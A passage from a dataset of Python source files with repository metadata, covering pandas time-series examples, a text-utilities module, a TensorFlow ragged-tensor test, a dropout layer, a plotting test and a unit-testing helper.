ts.resample('15min')\nprint(tsx.interpolate().head())\n\n# Time zone handling\n# ==================\n\nt = pd.Timestamp('2000-01-01')\nprint(t.tz is None)\n\nt = pd.Timestamp('2000-01-01', tz='Europe/Berlin')\nprint(t.tz)\n\nrng = pd.date_range('1/1/2000 00:00', periods=10, freq='D', tz='Europe/London')\nprint(rng)\n\n\ntz = pytz.timezone('Europe/London')\nrng = pd.date_range('1/1/2000 00:00', periods=10, freq='D', tz=tz)\nprint(rng)\n\nrng = pd.date_range('1/1/2000 00:00', periods=10, freq='D')\nts = pd.Series(np.random.randn(len(rng)), rng)\nprint(ts.index.tz is None)\n\nts_utc = ts.tz_localize('UTC')\n\nprint(ts_utc.index.tz)\nprint(ts_utc.tz_convert('Europe/Berlin').index.tz)\nprint(ts_utc.tz_convert(None).index.tz is None)\nprint(ts_utc.tz_localize(None).index.tz is None)\n\n# Time deltas\n# ===========\n\nprint(pd.Timedelta('1 days'))\nprint(pd.Timedelta('-1 days 2 min 10s 3us'))\nprint(pd.Timedelta(days=1,seconds=1))\nprint(pd.Timedelta(days=1) + pd.Timedelta(seconds=1))\nprint(pd.to_timedelta('20.1s'))\nprint(pd.to_timedelta(np.arange(7), unit='D'))\n\n# Time series plotting\n# ====================\n\nrng = pd.date_range(start='2000', periods=120, freq='MS')\nts = pd.Series(np.random.randint(-10, 10, size=len(rng)), rng).cumsum()\n\nprint(ts.head())\n\nplt.clf()\nts.plot(c='k', title='Example time series')\nplt.savefig('time_series_1.png')\n\nts.resample('2A').plot(c='0.75', ls='--')\nts.resample('5A').plot(c='0.25', ls='-.')\n\nplt.clf()\n\ntsx = ts.resample('1A')\nax = tsx.plot(kind='bar', color='k')\nplt.savefig('time_series_2.png')\n\nax.set_xticklabels(tsx.index.year)\nplt.clf()\nts = pd.Series(np.random.randn(1000), index=pd.date_range('1/1/2000', periods=1000))\ndf = pd.DataFrame(np.random.randn(1000, 4), index=ts.index, columns=['A', 'B', 'C', 'D'])\ndf = df.cumsum()\ndf.plot(color=['k', '0.75', '0.5', '0.25'], ls='--')\nplt.savefig('time_series_3.png')\n", "meta": {"hexsha": "77915e781402ce2d65cca0d88ac7d4140355fee8", "size": 5316, "ext": "py", "lang": "Python", "max_stars_repo_path": "Module1/Getting_Started_with_Data_Analysis_Code/5/timeseries.py", "max_stars_repo_name": "vijaysharmapc/Python-End-to-end-Data-Analysis", "max_stars_repo_head_hexsha": "a00f2d5d1547993e000b2551ec6a1360240885ba", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 38, "max_stars_repo_stars_event_min_datetime": "2017-04-10T19:18:43.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-25T08:23:27.000Z", "max_issues_repo_path": "Module1/Getting_Started_with_Data_Analysis_Code/5/timeseries.py", "max_issues_repo_name": "vijaysharmapc/Python-End-to-end-Data-Analysis", "max_issues_repo_head_hexsha": "a00f2d5d1547993e000b2551ec6a1360240885ba", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-07-10T09:41:43.000Z", "max_issues_repo_issues_event_max_datetime": "2018-07-10T09:41:43.000Z", "max_forks_repo_path": "Module1/Getting_Started_with_Data_Analysis_Code/5/timeseries.py", "max_forks_repo_name": "vijaysharmapc/Python-End-to-end-Data-Analysis", "max_forks_repo_head_hexsha": "a00f2d5d1547993e000b2551ec6a1360240885ba", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 37, "max_forks_repo_forks_event_min_datetime": "2017-04-25T01:49:35.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-04T01:46:43.000Z", "avg_line_length": 27.9789473684, "max_line_length": 89, "alphanum_fraction": 0.6655379985, "include": true, "reason": "import numpy", "num_tokens": 1732, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153862, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.05183889090019358}}
{"text": "# $Id: text_tools.py,v 1.8 2011-09-13 21:50:16 wirawan Exp $\n#\n# wpylib.text_tools\n# Created: 20091204\n# Wirawan Purwanto\n#\n# Simple and dirty text tools\n#\n\n\"\"\"\nwpylib.text_tools\n\nFrequently used text tools.\n\"\"\"\n\nimport numpy\nfrom wpylib.sugar import ifelse\n\ndef read_text_table(F, maps={}, sep=None, comment_char=\"#\"):\n  \"\"\"Reads in a 2-D table from a text stream.\n  Returns a list of lists containing the table content, in each cell by\n  default as a string, unless a mapping function is provided (for simple\n  data conversion only).\"\"\"\n  rows = []\n  for L in F:\n    if comment_char != None:\n      L = L.split(comment_char,1)[0]\n    flds = L.split(sep)\n    if len(flds) == 0:\n      continue\n    if maps:\n      for i in xrange(len(flds)):\n        if i in maps:\n          flds[i] = maps[i](flds[i])\n    rows.append(flds)\n  return rows\n\ndef make_matrix(Str, debug=None):\n  \"\"\"Simple tool to convert a string like\n    '''1 2 3\n    4 5 6\n    7 8 9'''\n  into a numpy matrix (or, actually, an array object).\n  This is for convenience in programming quick scripts, much like octave matrix\n  format (but without the evaluation of math expressions that octave has,\n  of course).\"\"\"\n  if isinstance(Str, numpy.matrix):\n    return numpy.array(Str)\n  elif isinstance(Str, numpy.ndarray):\n    if len(Str.shape) == 2:\n      return Str.copy()\n    else:\n      raise ValueError, \"Cannot make matrix out of non-2D array\"\n  Str2 = \";\".join([ row.split(\"#\",1)[0].rstrip().rstrip(\";\")\n                      for row in Str.split(\"\\n\")\n                        if row.split(\"#\",1)[0].strip() != \"\"\n                  ])\n  rslt = numpy.matrix(Str2)\n  if debug: print rslt\n  return numpy.array(rslt)\n\ndef vector_str(M, fmt=\"%22.15g\", V=False, prefix=\"\", suffix=\"\"):\n  if len(M.shape) != 1:\n    raise ValueError, \"Wrong shape: expecting a one-dimensional array.\"\n  if V:\n    return prefix + (suffix + \"\\n\" + prefix).join([ fmt % m for m in M ]) + suffix\n  else:\n    return prefix + \" \".join([ fmt % m for m in M ]) + suffix\n\ndef matrix_str(M, fmt=None, prefix=\"\", suffix=\"\"):\n  \"\"\"Prints a matrix in a textual format.\n  Applicable for integer, float, and complex 2-D arrays.\n\n  COMPLEX NUMBER SUPPORT\n\n  By default, we print in full precision and in python-friendly format, like:\n\n      (+3.200000000000000e+00+4.700000000000000e+00j)\n\n  To print in C++ and Fortran friendly format, use:\n\n      >>> A_str = text_tools.matrix_str(A, '(%+#22.15e,%+#22.15e)')\n\n  The resulting output will be:\n\n      (+3.200000000000000e+00,+4.700000000000000e+00)\n  \"\"\"\n  linesep = suffix + \"\\n\" + prefix\n  if isinstance(M, numpy.matrix):\n    M = numpy.asarray(M)\n  elif not isinstance(M, numpy.ndarray):\n    M = numpy.asarray(M)\n  if len(M.shape) != 2:\n    raise ValueError, \"Wrong shape: expecting a two-dimensional array.\"\n  if numpy.iscomplex(M[0,0]):\n    if fmt is None:\n      fmt = \"(%+22.15e%+22.15ej)\"\n    mkfmt = lambda z: fmt % (z.real, z.imag)\n    return prefix + linesep.join([ \" \".join([ mkfmt(c) for c in R ]) for R in M ]) + suffix\n  else:\n    if fmt is None:\n      fmt = \"%22.15g\"\n    return prefix + linesep.join([ \" \".join([ fmt % c for c in R ]) for R in M ]) + suffix\n\n\ndef str_indent(text, indent=\" \"*4):\n  \"\"\"Indents a text block by a given prefix.\n  If the indent is a number 'N', a string of N white spaces are taken as\n  the prefix.\n\n  In python 3, textwrap.indent can accomplish the same thing.\"\"\"\n  if not isinstance(indent, basestring):\n    # Assume this is a numeric:\n    indent = \" \" * indent\n  return indent + ('\\n'+indent).join(x for x in str(text).splitlines())\n\ndef str_unindent(S, amount=None):\n  \"\"\"Automatically unidents a string based on the first indentation found\n  on a nonempty string line. Assuming UNIX LF end-of-line.\n\n  Note: textwrap.dedent accomplishes a similar function (but the amount of\n  white spaces to remove is automatically detected).\"\"\"\n\n  if amount == None:\n    nindent = -1  # autodetect, default\n  else:\n    nindent = amount\n    indent_whsp = \" \" * nindent\n\n  strs = S.splitlines()\n  rslt = []\n  for s in strs:\n    if s.strip() != \"\":\n      if nindent == -1:\n        nindent = len(s) - len(s.lstrip())\n        indent_whsp = \" \" * nindent\n      if s[:nindent] == indent_whsp:\n        s = s[nindent:]\n      # else, quietly accept all strings that are not properly indented\n      # at their beginning\n    rslt.append(s)\n\n  return \"\\n\".join(rslt)\n\n\ndef str_snippet(S):\n  \"\"\"Standard processing for input snippet:\n  Unindent a string and strip the trailing whitespaces (mainly for input\n  file segments.\"\"\"\n  return str_unindent(S).rstrip()\n\ndef str_trunc_begin(S, L):\n  \"\"\"Returns a possibly truncated S (ellipsis added at the string's\n  beginning) if the length of S is greater than L.\n  L should be equal to or greater than 3 to be making sense.\"\"\"\n  if len(S) > L:\n    return \"...\" + S[min(-L+3,0):]\n  else:\n    return S\n\ndef str_trunc_end(S, L):\n  \"\"\"Returns a possibly truncated S (ellipsis added at the string's\n  ending) if the length of S is greater than L.\n  L should be equal to or greater than 3 to be making sense.\"\"\"\n  if len(S) > L:\n    return S[:max(L-3,0)] + \"...\"\n  else:\n    return S\n\ndef str_lstrip(S, substr):\n  \"\"\"Strips a prefix from S if it matches the string in `substr'.\n  \"\"\"\n  # This is akin to ${VAR#$substr} in Bourne-shell dialect.\n  if len(substr) > 0 and S.startswith(substr):\n    return S[len(substr):]\n  else:\n    return S\n\ndef str_rstrip(S, substr):\n  \"\"\"Strips a suffix from S if it matches the string in `substr'.\n  \"\"\"\n  # This is akin to ${VAR%$substr} in Bourne-shell dialect.\n  if len(substr) > 0 and S.endswith(substr):\n    return S[:-len(substr)]\n  else:\n    return S\n\ndef str_save_to_file(filename, s1, *more_str, **opts):\n  \"\"\"Save one or more string (or iterables) to a file with a given file.\n\n  Additional options (with their defaults shown below):\n  * append=False: if True, then the string(s) are appended to the file.\n  * eol=False: if True, then an EOLN is added between strings.\n  \"\"\"\n  add_eol = opts.get(\"eol\", False)\n  append = opts.get(\"append\", False)\n  if append:\n    F = open(filename, \"a\")\n  else:\n    F = open(filename, \"w\")\n\n  for S in (s1,) + more_str:\n    if getattr(S, \"__iter__\", False):\n      for S2 in S:\n        F.write(S2)\n        if add_eol: F.write(\"\\n\")\n    else:\n      F.write(S)\n      if add_eol: F.write(\"\\n\")\n\n  F.close()\n\n\ndef str_expand(template, params, maxiter=100):\n  \"\"\"Doing iterative python-style %(KWD)* substitution until no more\n  substitution takes place.\n  This is used to constructively build input string, etc. that contain\n  parameter within parameter.\"\"\"\n  str1 = None\n  str2 = template\n  i = 0\n  while str1 != str2 and (maxiter > 0 and i < maxiter):\n    str1 = str2\n    str2 = str1 % params\n    i += 1\n\n  if str1 != str2: raise RuntimeError, \"Iteration limit exceeded\"\n  return str1\n\n\n# Internal variable: don't mess!\n_str_fmt_heading_rx = None\ndef str_fmt_heading(fmt):\n  \"\"\"Replaces a printf-style formatting with one suitable for table heading:\n  all non-string conversions are replaced with string conversions,\n  preserving the minimum widths.\"\"\"\n  # Originally from: $PWQMC77/scripts/cost.py and later Cr2_analysis_cbs.py .\n  #\n  #_str_fmt_heading_rx = None # only for development purposes\n  import re\n  global _str_fmt_heading_rx\n  if _str_fmt_heading_rx == None:\n    # Because of complicated regex, I verbosely write it out here:\n    _str_fmt_heading_rx = re.compile(r\"\"\"\n      (\n        %                 # % sign\n        (?:\\([^)]+\\))?    # optional '(keyname)' mapping key\n        [-+#0 hlL]*       # optional conversion flag\n        [0-9*]*           # optional minimum field width\n      )\n      ((?:\\.[0-9]*)?)     # optional precision\n      [^-+#*0 hlL0-9.%s]  # not conv flag, dimensions, nor literal '%',\n                          # nor 's' conversion specifiers\n    \"\"\", re.VERBOSE)\n  return _str_fmt_heading_rx.sub(r'\\1s', fmt)\n\n\ndef str_grep(S, strs):\n  \"\"\"Returns a list of strings wherein the substring S is found.\"\"\"\n  return [s for s in strs if s.find(S) >= 0]\n\ndef str_igrep(S, strs):\n  \"\"\"Returns a list of the indices of the strings wherein the substring S\n  is found.\"\"\"\n  return [i for (i,s) in enumerate(strs) if s.find(S) >= 0]\n  #return [i for (s,i) in zip(strs,xrange(len(strs))) if s.find(S) >= 0]\n\n\n\ndef slice_str(s):\n  return \"%s:%s:%s\" % (\n    ifelse(s.start == None, \"\", str(s.start)),\n    ifelse(s.stop == None, \"\", str(s.stop)),\n    ifelse(s.step == None, \"\", str(s.step)),\n  )\n\n\n", "meta": {"hexsha": "8c69c80d3d2973a8da67dcedc5706b7497296d12", "size": 8425, "ext": "py", "lang": "Python", "max_stars_repo_path": "text_tools.py", "max_stars_repo_name": "wirawan0/wpylib", "max_stars_repo_head_hexsha": "f07142c3ada61ec51e0dec623d2c85376b65a72b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "text_tools.py", "max_issues_repo_name": "wirawan0/wpylib", "max_issues_repo_head_hexsha": "f07142c3ada61ec51e0dec623d2c85376b65a72b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "text_tools.py", "max_forks_repo_name": "wirawan0/wpylib", "max_forks_repo_head_hexsha": "f07142c3ada61ec51e0dec623d2c85376b65a72b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.3057553957, "max_line_length": 91, "alphanum_fraction": 0.6343026706, "include": true, "reason": "import numpy", "num_tokens": 2378, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326183324442865, "lm_q2_score": 0.11436852316318395, "lm_q1q2_score": 0.05183888647440266}}
{"text": "# Copyright 2018 The TensorFlow Authors. All Rights Reserved.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n# ==============================================================================\r\n\"\"\"Tests for ragged.to_tensor.\"\"\"\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nfrom absl.testing import parameterized\r\nimport numpy as np\r\n\r\nfrom tensorflow.python.framework import ops\r\nfrom tensorflow.python.framework import test_util\r\nfrom tensorflow.python.ops.ragged import ragged_factory_ops\r\nfrom tensorflow.python.platform import googletest\r\n\r\n\r\n@test_util.run_all_in_graph_and_eager_modes\r\nclass RaggedTensorToTensorOpTest(test_util.TensorFlowTestCase,\r\n                                 parameterized.TestCase):\r\n\r\n  def testDocStringExamples(self):\r\n    \"\"\"Example from ragged_to_tensor.__doc__.\"\"\"\r\n    rt = ragged_factory_ops.constant([[9, 8, 7], [], [6, 5], [4]])\r\n    dt = rt.to_tensor()\r\n    self.assertAllEqual(dt, [[9, 8, 7], [0, 0, 0], [6, 5, 0], [4, 0, 0]])\r\n\r\n  @parameterized.parameters(\r\n      {\r\n          'rt_input': [],\r\n          'ragged_rank': 1,\r\n          'expected': [],\r\n          'expected_shape': [0, 0],\r\n      },\r\n      {\r\n          'rt_input': [[1, 2, 3], [], [4], [5, 6]],\r\n          'expected': [[1, 2, 3], [0, 0, 0], [4, 0, 0], [5, 6, 0]]\r\n      },\r\n      {\r\n          'rt_input': [[1, 2, 3], [], [4], [5, 6]],\r\n          'default': 9,\r\n          'expected': [[1, 2, 3], [9, 9, 9], [4, 9, 9], [5, 6, 9]]\r\n      },\r\n      {\r\n          'rt_input': [[[1], [2], [3]], [], [[4]], [[5], [6]]],\r\n          'ragged_rank':\r\n              1,\r\n          'default': [9],\r\n          'expected': [[[1], [2], [3]], [[9], [9], [9]], [[4], [9], [9]],\r\n                       [[5], [6], [9]]]\r\n      },\r\n      {\r\n          'rt_input': [[[1, 2], [], [3, 4]], [], [[5]], [[6, 7], [8]]],\r\n          'expected': [\r\n              [[1, 2], [0, 0], [3, 4]],  #\r\n              [[0, 0], [0, 0], [0, 0]],  #\r\n              [[5, 0], [0, 0], [0, 0]],  #\r\n              [[6, 7], [8, 0], [0, 0]],  #\r\n          ]\r\n      },\r\n      {\r\n          'rt_input': [[[1, 2], [], [3, 4]], [], [[5]], [[6, 7], [8]]],\r\n          'default':\r\n              9,\r\n          'expected': [\r\n              [[1, 2], [9, 9], [3, 4]],  #\r\n              [[9, 9], [9, 9], [9, 9]],  #\r\n              [[5, 9], [9, 9], [9, 9]],  #\r\n              [[6, 7], [8, 9], [9, 9]],  #\r\n          ]\r\n      },\r\n      {\r\n          'rt_input': [[[1], [2], [3]]],\r\n          'ragged_rank': 1,\r\n          'default': 0,\r\n          'expected': [[[1], [2], [3]]],\r\n      },\r\n      {\r\n          'rt_input': [[[[1], [2]], [], [[3]]]],\r\n          'default': 9,\r\n          'expected': [[[[1], [2]], [[9], [9]], [[3], [9]]]],\r\n      },\r\n  )\r\n  def testRaggedTensorToTensor(self,\r\n                               rt_input,\r\n                               expected,\r\n                               ragged_rank=None,\r\n                               default=None,\r\n                               expected_shape=None):\r\n    rt = ragged_factory_ops.constant(rt_input, ragged_rank=ragged_rank)\r\n    dt = rt.to_tensor(default)\r\n    self.assertIsInstance(dt, ops.Tensor)\r\n    self.assertEqual(rt.dtype, dt.dtype)\r\n    self.assertTrue(dt.shape.is_compatible_with(rt.shape))\r\n    if expected_shape is not None:\r\n      expected = np.ndarray(expected_shape, buffer=np.array(expected))\r\n    self.assertAllEqual(dt, expected)\r\n\r\n  @parameterized.parameters(\r\n      {\r\n          'rt_input': [[1, 2, 3]],\r\n          'default': [0],\r\n          'error': (ValueError, r'Shape \\(1,\\) must have rank at most 0'),\r\n      },\r\n      {\r\n          'rt_input': [[[1, 2], [3, 4]], [[5, 6]]],\r\n          'ragged_rank': 1,\r\n          'default': [7, 8, 9],\r\n          'error': (ValueError, r'Shapes \\(3,\\) and \\(2,\\) are incompatible'),\r\n      },\r\n      {\r\n          'rt_input': [[1, 2, 3]],\r\n          'default': 'a',\r\n          'error': (TypeError, '.*'),\r\n      },\r\n  )\r\n  def testError(self, rt_input, default, error, ragged_rank=None):\r\n    rt = ragged_factory_ops.constant(rt_input, ragged_rank=ragged_rank)\r\n    with self.assertRaisesRegexp(error[0], error[1]):\r\n      rt.to_tensor(default)\r\n\r\n\r\nif __name__ == '__main__':\r\n  googletest.main()\r\n", "meta": {"hexsha": "fe6bc3fd63bde978e5a8a16a3e1a8dacd874bee8", "size": 4747, "ext": "py", "lang": "Python", "max_stars_repo_path": "tensorflow/python/ops/ragged/ragged_to_tensor_op_test.py", "max_stars_repo_name": "uve/tensorflow", "max_stars_repo_head_hexsha": "e08079463bf43e5963acc41da1f57e95603f8080", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tensorflow/python/ops/ragged/ragged_to_tensor_op_test.py", "max_issues_repo_name": "uve/tensorflow", "max_issues_repo_head_hexsha": "e08079463bf43e5963acc41da1f57e95603f8080", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tensorflow/python/ops/ragged/ragged_to_tensor_op_test.py", "max_forks_repo_name": "uve/tensorflow", "max_forks_repo_head_hexsha": "e08079463bf43e5963acc41da1f57e95603f8080", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.6496350365, "max_line_length": 81, "alphanum_fraction": 0.4680851064, "include": true, "reason": "import numpy", "num_tokens": 1345, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.144148856709452, "lm_q1q2_score": 0.051801930667198244}}
{"text": "import numpy as np\nfrom ai.parameter import Parameter\nfrom ai.graph import ComputationalGraph, G\nfrom ai.module import Module\n\n\n# dropout layer - non-parametrized layer\nclass Dropout(Module):\n    def __init__(self, p=0.5, graph=G):\n        super(Dropout, self).__init__()\n        self.p = p\n        self.graph = graph\n\n    def __str__(self):\n        return('Dropout(p={})'.format(self.p))\n\n    def __call__(self, x):  # easy callable\n        return self.forward(x)\n\n    def forward(self, x):\n\n        if not isinstance(x, Parameter):\n            x = Parameter(data=x, eval_grad=False, graph=self.graph)\n\n        out = self.graph.dropout(x, p=self.p)\n        \n        return out\n", "meta": {"hexsha": "404683cbf07f6dca7602ee2093223ece5890e45b", "size": 678, "ext": "py", "lang": "Python", "max_stars_repo_path": "ai/regularization.py", "max_stars_repo_name": "srirambandi/NTM", "max_stars_repo_head_hexsha": "de75c973ea57ebdbd683ada2de7cd9e0b661690d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-04-13T09:52:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-21T02:45:27.000Z", "max_issues_repo_path": "ai/regularization.py", "max_issues_repo_name": "srirambandi/NTM", "max_issues_repo_head_hexsha": "de75c973ea57ebdbd683ada2de7cd9e0b661690d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ai/regularization.py", "max_forks_repo_name": "srirambandi/NTM", "max_forks_repo_head_hexsha": "de75c973ea57ebdbd683ada2de7cd9e0b661690d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.2142857143, "max_line_length": 68, "alphanum_fraction": 0.6283185841, "include": true, "reason": "import numpy", "num_tokens": 165, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.10521054021012237, "lm_q1q2_score": 0.051783379644197935}}
{"text": "# -*- coding: utf-8 -*-\n#\nfrom helpers import assert_equality\n\n\ndef plot():\n    import numpy as np\n    import matplotlib.pyplot as plt\n\n    fig, ax = plt.subplots(figsize=(17, 6))\n    ax.plot(np.array([1, 5]), label=\"Test 1\")\n    ax.plot(np.array([5, 1]), label=\"Test 2\")\n    ax.legend(ncol=2, loc=\"upper center\")\n    return fig\n\n\ndef test():\n    assert_equality(plot, \"test_legend_columns_reference.tex\")\n    return\n", "meta": {"hexsha": "be16d6c88a7922b42412b21c005aa873fa8c27b6", "size": 417, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_legend_columns.py", "max_stars_repo_name": "satejsoman/matplotlib2tikz", "max_stars_repo_head_hexsha": "583a66f6842d236ee42d85485de9c6a503585893", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-05-25T20:47:41.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-25T20:47:41.000Z", "max_issues_repo_path": "test/test_legend_columns.py", "max_issues_repo_name": "satejsoman/matplotlib2tikz", "max_issues_repo_head_hexsha": "583a66f6842d236ee42d85485de9c6a503585893", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_legend_columns.py", "max_forks_repo_name": "satejsoman/matplotlib2tikz", "max_forks_repo_head_hexsha": "583a66f6842d236ee42d85485de9c6a503585893", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.85, "max_line_length": 62, "alphanum_fraction": 0.6402877698, "include": true, "reason": "import numpy", "num_tokens": 116, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.10521053740449356, "lm_q1q2_score": 0.05178337826330071}}
{"text": "import functools\nimport operator\nimport os\nimport random\nimport re\nimport sys\nimport sqlite3\n\nimport linearmodels \nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport statsmodels.api as sm\nimport statsmodels.formula.api as smf\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.express as px\nimport altair as alt\nfrom vega_datasets import data\n\n# pandas settings\npd.set_option('display.max_rows', 120)\npd.set_option('display.max_columns', 120)\npd.set_option('max_colwidth', None)\npd.set_option('precision', 4)\n\n# seaborn settings\nsns.set_context(\"notebook\")\n# sns.set(rc={'figure.figsize': (16, 9.)})\nsns.set_style(\"whitegrid\")\n\n# global vars\nTEMPDIR = '/Users/fgu/tmp/'\nSAMPLEDATA = '/Users/fgu/tmp/mdb/data_777.parquet'\n\n\n- [Fluent Python](https://www.oreilly.com/library/view/fluent-python/9781491946237/)\n- [Python Cookbook](https://www.oreilly.com/library/view/python-cookbook-3rd/9781449357337/)\n- [Learning Python](https://www.oreilly.com/library/view/learning-python-5th/9781449355722/)\n- [The Hitchhiker's Guide to Python](https://docs.python-guide.org/writing/structure/)\n- [Effective Python](https://effectivepython.com)\n- [Python for Data Analysis](https://www.oreilly.com/library/view/python-for-data/9781491957653/)\n- [Python Data Science Handbook](https://www.oreilly.com/library/view/python-data-science/9781491912126/)\n- [Pandas cookbook](https://pandas.pydata.org/pandas-docs/stable/user_guide/cookbook.html)\n- [Numpy docs](https://numpy.org/doc/stable/)\n\n- [An introduction to statistical learning](https://www.statlearning.com)\n- [Applied predictive modeling](http://appliedpredictivemodeling.com)\n- [Hands on machine learning with scikit-learn, keras, and tenserflow](https://www.oreilly.com/library/view/hands-on-machine-learning/9781492032632/)\n- [The hundred-page machine learning book](http://themlbook.com)", "meta": {"hexsha": "ba921e3541db9ff6e59b420fe7e1feac1ba7a701", "size": 1863, "ext": "py", "lang": "Python", "max_stars_repo_path": "_notebooks/sources.py", "max_stars_repo_name": "fabiangunzinger/blog", "max_stars_repo_head_hexsha": "96a6b9d27beab998c77dd43b1e9e367b98ac1a73", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_notebooks/sources.py", "max_issues_repo_name": "fabiangunzinger/blog", "max_issues_repo_head_hexsha": "96a6b9d27beab998c77dd43b1e9e367b98ac1a73", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2020-10-11T12:00:44.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-12T14:01:44.000Z", "max_forks_repo_path": "_notebooks/sources.py", "max_forks_repo_name": "fabiangunzinger/blog", "max_forks_repo_head_hexsha": "96a6b9d27beab998c77dd43b1e9e367b98ac1a73", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.5294117647, "max_line_length": 149, "alphanum_fraction": 0.7777777778, "include": true, "reason": "import numpy,import scipy,import statsmodels", "num_tokens": 496, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4111108836623764, "lm_q2_score": 0.12592276647524683, "lm_q1q2_score": 0.051768219798849796}}
{"text": "import logging\nimport os\n\n\n# [setup_trusted_values_dict] takes in a path [path], and creates the file [trusted_values_dict.py] in the\n# directory specified in [path]. If [trusted_values_dict.py] already exists within this directory,\n# nothing happens.\n\n# Called by NRPyUnitTests_(Anything)_Globals\n\ndef setup_trusted_values_dict(path):\n\n    # Try opening [trusted_values_dict.py] in [directory].\n    try:\n        logging.debug(' Trying to open {}/trusted_values_dict.py...'.format(path))\n        fr = open(os.path.join(path, 'trusted_values_dict.py'), 'r')\n        logging.debug(' ...Success, file already exists.')\n        fr.close()\n    # If [trusted_values_dict.py] does not exist in [directory], create it with default content.\n    except IOError:\n        logging.info(' ...trusted_values_dict.py does not exist. Creating it...')\n        fw = open(os.path.join(path, 'trusted_values_dict.py'), 'w+')\n        fw.write('from mpmath import mpf, mp, mpc\\nfrom UnitTesting.standard_constants import precision\\n\\n'\n                 'mp.dps = precision\\ntrusted_values_dict = {}\\n')\n        fw.close()\n        logging.info(' ...Success: trusted_values_dict.py created.\\n')\n", "meta": {"hexsha": "dd5e97ed97729c23f5b86f1799cacbe890529017", "size": 1170, "ext": "py", "lang": "Python", "max_stars_repo_path": "UnitTesting/setup_trusted_values_dict.py", "max_stars_repo_name": "ksible/nrpytutorial", "max_stars_repo_head_hexsha": "4ca6e9da22def2a9c9bcbcad75847fd1db159f4b", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 66, "max_stars_repo_stars_event_min_datetime": "2018-06-26T22:18:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-09T21:12:33.000Z", "max_issues_repo_path": "UnitTesting/setup_trusted_values_dict.py", "max_issues_repo_name": "ksible/nrpytutorial", "max_issues_repo_head_hexsha": "4ca6e9da22def2a9c9bcbcad75847fd1db159f4b", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 14, "max_issues_repo_issues_event_min_datetime": "2020-02-13T16:09:29.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-12T14:59:59.000Z", "max_forks_repo_path": "UnitTesting/setup_trusted_values_dict.py", 